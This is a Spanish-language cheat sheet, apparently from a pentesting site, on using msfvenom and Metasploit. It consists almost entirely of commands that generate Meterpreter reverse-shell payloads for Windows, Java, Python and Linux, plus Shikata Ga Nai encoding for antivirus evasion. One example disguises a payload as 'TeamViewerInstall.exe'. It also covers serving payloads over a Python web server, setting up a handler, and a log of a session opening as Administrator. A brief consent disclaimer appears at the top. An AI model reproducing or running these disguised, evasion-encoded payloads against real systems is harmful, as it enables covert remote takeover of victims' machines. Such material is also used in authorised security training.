Msfvenom es una herramienta de línea de comandos que se utiliza para generar payloads personalizados para una amplia variedad de sistemas operativos y arquitecturas.
Nota: Este tipo de técnicas son muy invasivas, ya que vamos a ganar acceso a distintos sistemas, por lo que no podemos utilizar estas técnicas sin un consentimiento o aprobación por parte del objetivo
Listado de payloads disponibles
msfvenom-lpayloads
Empleo
msfvenom-h
Utiliza el comando "msfvenom" para crear un payload personalizado. Por ejemplo, el siguiente comando crea un payload de reverse de shell de Windows:
Sintaxis 1
# Para Windowsmsfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP_Address>LPORT=<Port>-f exe > payload.exe# En Javamsfvenom -p java/meterpreter/reverse_tcp LHOST=<IP_Address>LPORT=<Port>-f jar > payload.jar
Sintaxis 2
# En pythonmsfvenom -p python/meterpreter/reverse_tcp LHOST={nuestra_ip}LPORT=4444-o troyano.py# Para Windowsmsfvenom -p windows/meterpreter/reverse_tcp LHOST={nuestra_ip}LPORT=4444-o troyano.exe# Para Linuxmsfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<tu_IP>LPORT=<puerto>-f elf > shell.elf
Buffer Overflow en Linux - Shellcode
Evasión de Antivirus
Codificación Shikata Ga Nai
Shikata Ga Nai es un encoder de Metasploit que se utiliza para ofuscar payloads, dificultando así su detección por sistemas antivirus. Este encoder emplea un algoritmo de codificación polimórfico, lo que significa que genera diferentes versiones del mismo payload en cada ejecución, evitando la generación de firmas estáticas. Aunque mejora las posibilidades de evadir antivirus, no garantiza la evasión completa debido a que los antivirus también evolucionan para detectar patrones de obfuscación.
En sistemas Windows antiguos especificamos la arquitectura x86 y en sistemas Windows modernos deberíamos especificar la arquitectura x64
MSF Build
También podemos automatizar este proceso con MSF Build, un script que he desarrollado en python que nos genera automáticamente el ejecutable con la codificación Shikata Ga Nai y otras medidas de evasión de antivirus.
Este plugin disponible nos permite crear payloads a medida de MsfVenom, pudiendo configurar nuestra IP, puerto, plataforma objetivo, arquitectura y nuestro payload, en este caso un Meterpreter.
msfvenom -p linux/x86/shell_reverse_tcp lhost={IP-ATACANTE} lport={PUERTO} --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20" --out shellcode
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -o ./TeamViewerInstall.exe
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of exe file: 73802 bytes
Saved as: TeamViewerInstall.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 --platform windows -a x64 -n 200 -e generic/none -i 4 -f exe -o reverse_shell.exe
En Kali Linux
cd <carpeta de la reverse shell>
python2 -m SimpleHTTPServer
# o
python3 -m http.server
msfconsole
use exploit/multi/handler
set LHOST 127.0.0.1
set LPORT 4444
set PAYLOAD python/meterpreter/reverse_tcp # o el que hayamos puesto en msfvenom
exploit
. .\reverse_shell.exe
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Sending stage (177734 bytes) to 192.168.1.133
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 192.168.1.133:49402) at 2025-01-29 09:50:19 +0000
meterpreter > getuid
Server username: VAGRANT-2008R2\Administrator